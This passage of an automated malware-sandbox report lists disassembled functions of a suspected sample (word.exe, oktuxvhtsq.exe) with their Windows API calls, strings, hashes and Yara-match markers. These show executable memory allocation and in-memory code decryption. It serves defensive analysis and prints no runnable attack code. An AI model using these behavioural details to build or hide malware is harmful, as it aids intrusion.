Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: d178a5782ca8d626d003a390d0a002469a0ac64d132e68a5e4d1ef6bfeb92247
Instruction ID: 907b3508a45335f305929b628defbf7950d0c65962cf50d158fef9db48df65ea
Opcode Fuzzy Hash: d178a5782ca8d626d003a390d0a002469a0ac64d132e68a5e4d1ef6bfeb92247
Instruction Fuzzy Hash: 3B11BF71600208BFDF21AF61DC4099B3769BF843A5F40803BF604791A2C7BC4991DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00403556 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,?,0040352E,00403337,00000020), ref: 00403570
GlobalFree.KERNEL32(00000000), ref: 00403577

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403568

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4017390910
Opcode ID: a60e2798f856a3438fb1e72b6635fdebc83eaeade0927d8150105d3265ee1b70
Instruction ID: e2315670824f3ca0981a6a6bf9743b5050639b1b799e450ff7e3175358b78d1c
Opcode Fuzzy Hash: a60e2798f856a3438fb1e72b6635fdebc83eaeade0927d8150105d3265ee1b70
Instruction Fuzzy Hash: 10E08C329010206BC6215F08FD0479A7A6C6B44B22F11413AE804772B0C7742D424A88

Uniqueness

Uniqueness Score: -1.00%

Function 004056D2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\AppData\Roaming,00402CC1,C:\Users\user\AppData\Roaming,C:\Users\user\AppData\Roaming,C:\Users\user\AppData\Roaming\word.exe,C:\Users\user\AppData\Roaming\word.exe,80000000,00000003), ref: 004056D8
CharPrevA.USER32(80000000,00000000), ref: 004056E6

Strings

C:\Users\user\AppData\Roaming, xrefs: 004056D2

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\AppData\Roaming
API String ID: 2709904686-2707566632
Opcode ID: 5e76a858232fdb919b52e4d2bd39b139441124952f2503eefa3b06bf6f304fbe
Instruction ID: dce4988d3f9ae1539138201c89f565164349ec5ceb08caa00e339266b5a49006
Opcode Fuzzy Hash: 5e76a858232fdb919b52e4d2bd39b139441124952f2503eefa3b06bf6f304fbe
Instruction Fuzzy Hash: 7FD0A772809D701EF30363108C04B8FBA48CF12310F490862E042E6191C27C6C414BBD

Uniqueness

Uniqueness Score: -1.00%

Function 004057E4 Relevance: 5.0, APIs: 4, Instructions: 30stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057EB
lstrcmpiA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405804
CharNextA.USER32(00000000), ref: 00405812
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040581B

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4632bc7807536c3bc685dabbcc96fda575cc955354388b87d625cbceccfb0b7c
Instruction ID: 6e20b17ba46ab238fcbb7c8296b2df733f1dbfa59429a89b2dba5ca226b3377d
Opcode Fuzzy Hash: 4632bc7807536c3bc685dabbcc96fda575cc955354388b87d625cbceccfb0b7c
Instruction Fuzzy Hash: C2F02733209D51ABC202AB255C00A2F7E98EF91320B24003AF440F2180D339AC219BFB

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: oktuxvhtsq.exePID: 1784, Parent PID: 2204COMMON

Execution Graph

Execution Coverage:	5.8%
Dynamic/Decrypted Code Coverage:	14.5%
Signature Coverage:	2.6%
Total number of Nodes:	690
Total number of Limit Nodes:	31

Executed Functions

Function 002408B7 Relevance: 6.4, APIs: 4, Instructions: 441
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.411940280.0000000000240000.00000040.00001000.00020000.00000000.sdmp, Offset: 00240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_240000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: AllocNumaVirtual
String ID:
API String ID: 4233825816-0
Opcode ID: 015ea6ec844dbfbb1b46b0e834846bebfcc0176ad037e33cc7ed8c3c18047927
Instruction ID: daae71057c741c33dbb49de795c18b2d592d167f894f56e73637942cad12b3c1
Opcode Fuzzy Hash: 015ea6ec844dbfbb1b46b0e834846bebfcc0176ad037e33cc7ed8c3c18047927
Instruction Fuzzy Hash: 1B127620D5D2D9ADDF06CBE994517FCBFB05E26202F0845C6E5E4F6283C13A839ADB25

Uniqueness

Uniqueness Score: -1.00%

Function 002407DA Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 002407F7

Memory Dump Source

Source File: 00000006.00000002.411940280.0000000000240000.00000040.00001000.00020000.00000000.sdmp, Offset: 00240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_240000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: fa2979548fe31277adddc85b40786a5f89b5b758f8f4ce622a53a7dd496667a7
Instruction ID: 3719ef45d24630924a01786e39a02791583fbaae8522c1648bbb936b05ac5c8d
Opcode Fuzzy Hash: fa2979548fe31277adddc85b40786a5f89b5b758f8f4ce622a53a7dd496667a7
Instruction Fuzzy Hash: A1F0A771D2410CABDB0CEAB899856BE77ACDB48300F10457DE706E2141D534899046A0

Uniqueness

Uniqueness Score: -1.00%

Function 0041024E Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00410253

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 111deb4e69d56eb0a367dc8dd8c649a31ca691a76bf32c0556da6b83136cd69b
Instruction ID: 8b1e4004ee17768b9f14f169c391b7f79f222f34161a18ddefd49df5cc21805c
Opcode Fuzzy Hash: 111deb4e69d56eb0a367dc8dd8c649a31ca691a76bf32c0556da6b83136cd69b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00403C80 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 44
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00403C8E
_Yarn.LIBCPMTD ref: 00403C99
_Yarn.LIBCPMTD ref: 00403CA4
_Yarn.LIBCPMTD ref: 00403CAF
_Yarn.LIBCPMTD ref: 00403CBA
_Yarn.LIBCPMTD ref: 00403CC5
_Yarn.LIBCPMTD ref: 00403CD0
std::bad_exception::bad_exception.LIBCMTD ref: 00403CE3

Part of subcall function 00404170: std::exception::exception.LIBCONCRTD ref: 0040417E

__CxxThrowException@8.LIBVCRUNTIME ref: 00403CF1

Part of subcall function 00410CD6: RaiseException.KERNEL32(?,?,?,0040CC95,?,?,?,?,?,?,?,?,0040CC95,?,0043D2D0), ref: 00410D35

std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00403CFE

Strings

bad locale name, xrefs: 00403CDB

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Yarn$std::_$ExceptionException@8Locinfo::_Locinfo_ctorLockitLockit::_RaiseThrowstd::bad_exception::bad_exceptionstd::exception::exception
String ID: bad locale name
API String ID: 1308764326-1405518554
Opcode ID: f7dabbc8b9a2564522404b5fff6ad0cab2a04412fab3c0770b9d2aed4a3d2d0d
Instruction ID: fd4ad598886c6da8f32b9fbc51c7598e751e74d590a365a0d9cc1529a84deba6
Opcode Fuzzy Hash: f7dabbc8b9a2564522404b5fff6ad0cab2a04412fab3c0770b9d2aed4a3d2d0d
Instruction Fuzzy Hash: F301E170900108FBCB08EFE5DD92BAEB739AF44709F60006EE502372C2DA74AF509799

Uniqueness

Uniqueness Score: -1.00%

Function 00240E41 Relevance: 10.7, APIs: 7, Instructions: 194
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,?,?,?,?,002416D7,7FAB7E30), ref: 00240F07
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004,?,?,?,?,?,?,?,002416D7,7FAB7E30,00241395,00000000,00000040), ref: 00240F31
ReadFile.KERNELBASE(00000000,00000000,0000000E,7FAB7E30,00000000,?,?,?,?,?,?,?,002416D7,7FAB7E30,00241395,00000000), ref: 00240F48
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004,?,?,?,?,?,?,?,002416D7,7FAB7E30,00241395,00000000,00000040), ref: 00240F6A
CloseHandle.KERNELBASE(00000000,?,?,?,?,?,?,?,002416D7,7FAB7E30,00241395,00000000,00000040,?,00000000,0000000E), ref: 00240FDC
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,002416D7,7FAB7E30,00241395,00000000,00000040,?), ref: 00240FE7
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,002416D7,7FAB7E30,00241395,00000000,00000040,?), ref: 00241032

Memory Dump Source

Source File: 00000006.00000002.411940280.0000000000240000.00000040.00001000.00020000.00000000.sdmp, Offset: 00240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_240000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFileFree$CloseCreateHandleRead
String ID:
API String ID: 721982790-0
Opcode ID: 1fc8bc8e81ed70493e03acc8cad0cd475d1ad2cc991a5fa7e87ec9c4b6d62fc2
Instruction ID: 455a5017a8019b85f3a8d71376d294e8fd5e0c94a91765343d50aa5d3f2223c6
Opcode Fuzzy Hash: 1fc8bc8e81ed70493e03acc8cad0cd475d1ad2cc991a5fa7e87ec9c4b6d62fc2
Instruction Fuzzy Hash: 4F51B371E20319BBDB249FB4CC85FAEB778AF04710F105525FA41F7280EB7599908B64

Uniqueness

Uniqueness Score: -1.00%

Function 0041E11F Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,D85DCB61,?,0041E22E,?,000000FF,00000000), ref: 0041E1E0

Strings

api-ms-, xrefs: 0041E176
ext-ms-, xrefs: 0041E18A

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 26e6f5f3ec23ab39baad835987d749df8f6080b1a3dcd10f1b62566cd0fe6c2a
Instruction ID: db482fff968b2c07073929e9a6fbb895afb52f1d02c0f168ccec13eb267f7f5e
Opcode Fuzzy Hash: 26e6f5f3ec23ab39baad835987d749df8f6080b1a3dcd10f1b62566cd0fe6c2a
Instruction Fuzzy Hash: 0221F339A00221BBD7219B22EC54AAB37689B417A0F650522FD06A7390DB78ED41C6D8

Uniqueness

Uniqueness Score: -1.00%

Function 004030F0 Relevance: 9.1, APIs: 6, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004030FB
int.LIBCPMTD ref: 0040310D

Part of subcall function 00404D30: std::_Lockit::_Lockit.LIBCPMT ref: 00404D46
Part of subcall function 00404D30: std::_Lockit::~_Lockit.LIBCPMT ref: 00404D70

std::_Lockit::~_Lockit.LIBCPMT ref: 0040319E

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 484487e77d38c6918bdd44bf77138bcdcc21915cbfe8e7e093fd4a89c2bc4538
Instruction ID: 1d609cfe017e767e3400ef9b6c535b8e005c8793f142d5297fcfe8255119a914
Opcode Fuzzy Hash: 484487e77d38c6918bdd44bf77138bcdcc21915cbfe8e7e093fd4a89c2bc4538
Instruction Fuzzy Hash: C8210E74D00108EBCB08DF95D981AEEBBB5AF48305F20826AE51577390D734AF41DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00401440 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 159
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,0000172A,00003000,00000040,00000000,-02FAF080,00000000), ref: 0040152A
EnumSystemCodePagesA.KERNEL32(?,00000000), ref: 0040154C

Strings

Temporary files deleted., xrefs: 00401621
No temporary files found., xrefs: 0040159D
temporary files found. Do you want to delete them? [Y/N] , xrefs: 004015D2

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: AllocCodeEnumPagesSystemVirtual
String ID: temporary files found. Do you want to delete them? [Y/N] $No temporary files found.$Temporary files deleted.
API String ID: 1820785676-2215515840
Opcode ID: f7bda9f03cb8526571c4ed517181b8191f1cae25bee3d6a74cddce3d9628d361
Instruction ID: 4ce0347a455e2ce78b6b383f08221b4ccdaa3280c6ffb7ba17c8dde1a9c53ddb
Opcode Fuzzy Hash: f7bda9f03cb8526571c4ed517181b8191f1cae25bee3d6a74cddce3d9628d361
Instruction Fuzzy Hash: 8E51AEB0E04218ABCB04EBA6DC52BEEB7B4AF48704F10452EF502B72D1DB7D5905CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00421DC1 Relevance: 7.7, APIs: 5, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 00421E46
__alloca_probe_16.LIBCMT ref: 00421F0F
__freea.LIBCMT ref: 00421F76

Part of subcall function 004190EC: RtlAllocateHeap.NTDLL(00000000,?,?,?,00419465,?,?,?,00000003,00414846,?,004147B5,?,?,004149C4), ref: 0041911E

__freea.LIBCMT ref: 00421F89
__freea.LIBCMT ref: 00421F96

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 89db6ee394439e0a0cc8b5c91efdb2608f4b7ca28b2f3df7cd100b76722c822b
Instruction ID: 99a82e6aae5305e6a53d4475a8a1d8ed1395878dbb0c2ae742f109dfc4491a55
Opcode Fuzzy Hash: 89db6ee394439e0a0cc8b5c91efdb2608f4b7ca28b2f3df7cd100b76722c822b
Instruction Fuzzy Hash: B251E672700226AFDB205F62AD41EBB3BA9DF54758B56003FFD14D7260E779DC108668

Uniqueness

Uniqueness Score: -1.00%

Function 0024020A Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 425
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D, xrefs: 00240244

Memory Dump Source

Source File: 00000006.00000002.411940280.0000000000240000.00000040.00001000.00020000.00000000.sdmp, Offset: 00240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_240000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 953a10cdce4c6a83f1728cbf0a3f9d21a9bb17b9ca19b7032a897fe3a5ff0788
Instruction ID: f4550d8c2a56d8fe79cc87e60d80cd9244a13cb68f14ed4ae281cf18853558f1
Opcode Fuzzy Hash: 953a10cdce4c6a83f1728cbf0a3f9d21a9bb17b9ca19b7032a897fe3a5ff0788
Instruction Fuzzy Hash: 0102E370D20209EFDB18DF94C985BADBBB5BF04305F204069E615BA291D7B4AEA0DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00414428 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 00414439

Part of subcall function 004141A2: try_get_function.LIBVCRUNTIME ref: 004141B7

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 0041445A

Strings

`!D, xrefs: 0041442A

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_uninitialize_lockstry_get_function
String ID: `!D
API String ID: 2281893912-1253605976
Opcode ID: bf5090b05b53bf2620de1b88f0e275efcb8c49e0b65bdf8f539d136c4bb9f519
Instruction ID: 1e213cc090d7174af067c4877b04097e6a17ced4bf3fd0165bee738add91531c
Opcode Fuzzy Hash: bf5090b05b53bf2620de1b88f0e275efcb8c49e0b65bdf8f539d136c4bb9f519
Instruction Fuzzy Hash: DED05B73E0433011EC60161A6D0A7DB46155FD3F14FD60167FE1856293D54848C354EE

Uniqueness

Uniqueness Score: -1.00%

Function 00406540 Relevance: 4.5, APIs: 3, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

new.LIBCMT ref: 0040655D
std::locale::c_str.LIBCPMTD ref: 00406573

Part of subcall function 00403C80: std::_Lockit::_Lockit.LIBCPMT ref: 00403C8E
Part of subcall function 00403C80: _Yarn.LIBCPMTD ref: 00403C99
Part of subcall function 00403C80: _Yarn.LIBCPMTD ref: 00403CA4
Part of subcall function 00403C80: _Yarn.LIBCPMTD ref: 00403CAF
Part of subcall function 00403C80: _Yarn.LIBCPMTD ref: 00403CBA
Part of subcall function 00403C80: _Yarn.LIBCPMTD ref: 00403CC5
Part of subcall function 00403C80: _Yarn.LIBCPMTD ref: 00403CD0
Part of subcall function 00403C80: std::bad_exception::bad_exception.LIBCMTD ref: 00403CE3
Part of subcall function 00403C80: __CxxThrowException@8.LIBVCRUNTIME ref: 00403CF1
Part of subcall function 00403C80: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00403CFE

Part of subcall function 00403A00: std::bad_exception::bad_exception.LIBCMTD ref: 00403A0E
Part of subcall function 00403A00: ctype.LIBCPMTD ref: 00403A23

std::_Locinfo::~_Locinfo.LIBCPMTD ref: 004065B1

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Yarn$std::_$std::bad_exception::bad_exception$Exception@8LocinfoLocinfo::_Locinfo::~_Locinfo_ctorLockitLockit::_Throwctypestd::locale::c_str
String ID:
API String ID: 315514799-0
Opcode ID: 091e0fd82070fb040a71f3e1f02b09003b5c43ffb62dd9f79cd173250567ab93
Instruction ID: 0439a88d0379358cd32f1e14798d3cd70838f3a1781f2f9e136434e43e48c070
Opcode Fuzzy Hash: 091e0fd82070fb040a71f3e1f02b09003b5c43ffb62dd9f79cd173250567ab93
Instruction Fuzzy Hash: 2B0148B0900208FBDB14DFA4D94679EBB74AB00314F1081BAE8067B2D1DB395F55CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041E49C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNELBASE(00000FA0,-00000020,0041ECD0,-00000020,00000FA0,00000000,?,00000000,?), ref: 0041E4DC

Strings

InitializeCriticalSectionEx, xrefs: 0041E4A2, 0041E4AC

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 0ed38b6d3824a260bdf44b0f09568ceeca4002477d11bb4f653b2507e9e0fd91
Instruction ID: f9ae875e2d2830c4ac2b5eaa685c5e005b7963c553bdee66d684e632319edaa3
Opcode Fuzzy Hash: 0ed38b6d3824a260bdf44b0f09568ceeca4002477d11bb4f653b2507e9e0fd91
Instruction Fuzzy Hash: 25E09236680218B7CB211F52DC06EDE3F15EB54BA0F148422FD2915161C67E9962D6DC

Uniqueness

Uniqueness Score: -1.00%

Function 004140B7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

try_get_function.LIBVCRUNTIME ref: 004140CC

Strings

FlsAlloc, xrefs: 004140C5

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: 5311fe89e5bbb6f8144d190ccd1a4ab2de52fc41652baaf0b571373ec61830c6
Instruction ID: de76b66b3c2e87d6f1debb8ca7eca6cab455fafc8a1351b817e72bbc951ca738
